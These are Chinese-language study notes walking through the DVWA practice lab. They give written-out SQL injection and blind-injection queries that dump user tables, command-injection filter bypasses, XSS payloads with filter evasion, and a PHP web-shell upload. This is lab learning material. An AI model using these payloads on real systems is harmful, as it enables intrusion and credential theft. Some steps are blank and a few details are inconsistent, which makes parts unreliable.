一.暴力破解
low:
分析源码
判断这两个值是否都不为空
先输一个错误密码
构造admin' or '1'= '1
变成$ query = "SELECT * FROM ’users‘ WHERE user = ’admin' or '1'= '1’AND password = ' ';"
用or把语句截断为两部分,查询到账号即有效,语句判断为真,登陆成功
2.medium
mysqli_real_escape_string:
不能使用单引号,low的绕过失效
进行暴力破解:
抓包
添加字典
得到密码为password,登陆成功
命令行注入
命令注入就是在需要输入数据的地方输入了恶意代码,而且系统并没有对其进行过滤或者其他处理导致恶意代码也被执行,最终导致数据泄露或者正常数据被破坏。
命令注入用到的一些命令以及连接符: lpconfig查看本地网络 Net user查看系统用户 Dir查看当前目录 Find查找包含指定字符的行 Whoami查看系统当前有效用户名
A&B简单的拼接,AB之间无制约关系A&&BA执行成功才会执行B A|BA的输出作为B的输入 A||BA执行失败,然后才会执行B
low:
php_uname — 返回运行 PHP 的系统的有关信息。
参数 mode 是单个字符,用于定义要返回什么信息:
‘a’:此为默认。包含序列 “s n r v m” 里的所有模式。 ’s’:操作系统名称。例如: FreeBSD。 ‘n’:主机名。例如: localhost.example.com。 ‘r’:版本名称,例如: 5.1.2-RELEASE。 ‘v’:版本信息。操作系统之间有很大的不同。 ‘m’:机器类型。例如:i386。
乱码:
medium
str_ replace函数的作用是将输入的目标中存在黑名单子项的内容替换为空
过滤掉 &&和;
linux分隔符使用:
如果命令被分号;所分隔,那么命令会连续的执行下去,就算是错误的命令也会继续执行后面的命令
&& 如果命令被&&所分隔,那么命令也会一直执行下去,但是中间有错误的命令就不会执行后面的命令,没错就继续执行直至命令执行完为止。
ll 如果命令被双竖线所分隔,那么一遇到可以执行成功的命令就会停止执行后面的命令,而不管后面的命令是否正确。如果执行到错误的命令就是继续执行后一个命令,直到遇到执行到正确的命令或命令执行完为止。
可以利用过滤;和&&绕过,将命令127.0.0.1&;&net user变为127.0.0.1& &net user
也可以用&,|,||
CSRF
跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。CSRF,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
low
1.输入两个不一样的密码
发现url中会显示修改和确认的密码
修改url后显示修改密码成功
在同一浏览器打开
显示密码修改
发现再次登录dvwa,密码为123456
文件包含
常见的导致文件包含的函数:
PHP:include()、include_once()、require()、require_once()等;
low
以get方式获取page传来的数据,赋值给file。对page没有做任何过滤
需要修改配置文件
在D盘新建一个txt文件
远程文件包含:
文件上传
low
先看源码,对文件类型和内容没有任何过滤
成功上传1.php
连接蚁件
medium
分析源码,对文件的类型和大小做了限制
上传1.jpg
抓包修改文件的名字
连接蚁件
Insecure CAPTCHA
low
首先用户访问网页,触发页面的验证码的js模块,向谷歌服务器发起请求,谷歌服务器将验证码发给用户。用户输入验证码发送数据回去,这里发给的是访问网站的服务器,网站的服务器拿到验证码后,再去访问谷歌的服务器,谷歌的服务器会判断验证码是否正确,再将结果返回给网站服务器。
1.分析源码,验证码正确后step的值变为2,所以需要将step改为2
2.抓包,修改step2的值
3.放包后密码修改成功
medium
1.先进行抓包
2.结合源代码
应该将step改为2
同时把缺的值补全
3.
4.放包后密码修改成功
sql注入:
注入思路:
1.判断是否存在注入,注入的类型是字符型、数字型还是搜索型
⒉.猜解SQL查询语句中的字段数 3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询数据
low
传一个参数id,没有对id有过滤或者限制,存在sql注入漏洞
输入1' and 1=1
分析是单引号闭合
输入1' order by 3 #,判断字段数为2
确定显示的字段顺序
查库
1' union select 1,database()#
获取dvwa库下的表
1' union select 1,table_name from information_schema.tables where table_schema='dvwa
有两张表:guestbook和users
查询表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users
有八个字段
查找数据
1' union select group_concat(user_id,first_name,last_name),group_concat(user,password)from users#
密码经过了md5加密,可以进行解密
medium
无法输入语句,只能抓包
先判断是不是单引号闭合
字段数为2
报错,去掉单引号返回所有的用户,证明不是单引号闭合
查库1 union select 1,database()#
在查表的时候出现错误,查看一下源代码
mysqli_real_escape_string:
对于 SQL 语句中的特殊字符进行转义
所以语句中不能出现'
查表
查字段
用16进制绕过
查用户名和密码
sql盲注
low
手工盲注的步骤:
1.到断是否存在注入,注入是字符型还是数字型
⒉猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
说明存在字符型注入,判断是布尔型盲注
首先需要猜解数据库的名的长度
1' and length(database())=1#
一直查到4,显示存在,说明数据库长度为4
然后用二分法猜解数据库名
1' and ascii(substr(database(),1,1))>97#
1' and ascii(substr(database(),1,1))<122#
1' and ascii(substr(database(),1,1))>109#
1' and ascii(substr(database(),1,1))>103#
重复几次操作得到第一个字符的ascii码值为100,查询后得到是d
1’ and ascii(substr(database(),3,1))=119 # 为w
1’ and ascii(substr(database(),4,1))=97 #为a
后面三个字符重复此方法依次为v,w,a
猜解数据库中的表的数量
1' and(select count(table_name) from information_schema.tables where table_schema=database())=1#
1' and(select count(table_name) from information_schema.tables where table_schema=database())=2#
说明有数据库中有两张表
然后猜解表名长度,再猜解每个字符
猜解长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=1#
猜解到9
猜解表名
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’limit 0,1),1))>97 #(方法与猜解库名相同)
两个表为guestbook,users
猜解列数
1’ and (select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=8 #
猜每一列列名长度
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7 #
第二列
算出八列
猜解列的名称
第一列第一个
1’ and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1))>97 #
第一列第二个
1’ and ascii(substr((select column_name from information_schema.columns
where table_name='users' and table_schema=database() limit 0,1),2))=115 #
第二列第一个
1’ and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),1))=102 #
与猜解库名方法相同
最后猜解用户名和密码
Weak Session IDs
low
先看源码,初始的last session id= 0,每点一次generate,值就加一
先抓包
打开另一浏览器,找到cookie
在火狐浏览器,在登录界面用hackbar提交cookie,登录
medium
先看源码
可以得到dvwaSession,这是一个时间戳
知道用户的登陆时间,就可以成功登录账号
xss
XSS 又叫Css (Cross Site Script),跨站脚本攻击。它指的是恶意攻击者往web页面插入恶意的HTML代码。当用户浏览该页之时,嵌入当中Web里面的 html代码会被运行,从而达到恶意攻击用户的特殊目的。
XSS的分类(根据XSS脚本是否存储) 1.非持久型,也叫反射型XSS。通过GET和 POST方法,向服务器端输入数据。用户输入的数据通常被放置在 URL中,或者是 form 数据中。如果服务器端对输入的数据不进行过滤,验证或编码,就直接将用户输入的信息直接呈现给客户,则可能会造成反射型XSS 2.持久型,也叫存储型XSS。通常是因为服务器端将用户输入的恶意脚木没有通过验证就直接存储在数据库,并旦每次通过调用数据库的方式,将数据呈现在浏览器上。则该XSS 跨站脚本攻击将一直存在。若其他用户访问该页面,则恶意脚本就会被触发,用于盗取其他用户的私人信息。
攻击方式:向可输入框,插入恶意HTML代码或者恶意JavaScript代码
xss也可以分为三类:存储型和反射型、DOM类型 存储型xss:存储型xss,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种xss比较危险,容易造成蠕虫,盗窃cookie 反射型xsS:非持久化,需要欺骗用户自己去点击链接才能触发xss代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。 DOM型xSS: DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型xss其实是一种特殊类型的反射型xss,它是基于DOM文档对象模型的一种漏洞。
XSS(DOM)
low
选不同的选项,url不同
直接修改url
alert()方法用于显示带有—条指定消息和一个OK按钮的警告框。
点击检查,查看源代码
.
发现DOM树被修改
medium
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
所以script标签被过滤掉了
换成其他标签
发现没有弹窗
检查后发现被写在了value里当作了字符,所以需要闭合标签
再次检查,闭合<select>标签
弹窗
此时的image是一条独立的语句
XSS(Reflected)
low
随便输入字母,下面都会有相应的显示
输入恶意代码<script>alert(/xss/)</script>
medium
查看源代码,将name以get方式传参,将name中的script标签替换为空,过滤掉script
str_replace区分大小写,可以采用大小写绕过
或者双写绕过<sc<script>ript>alert(/xss/)</script>
XSS(stored)
low
对name长度有限制
可以修改最大长度,然后右击在控制台中使用
在name和message中输入payload,弹窗
或者抓包修改name
medium
与反射型相同,过滤掉script,用双写绕过
抓包修改name
JavaScipt
low
提示输入success
token不正确
查看页面源代码
发现token的值是md5(rot13(phrase))
通过控制台获得success的token值
抓包修改token值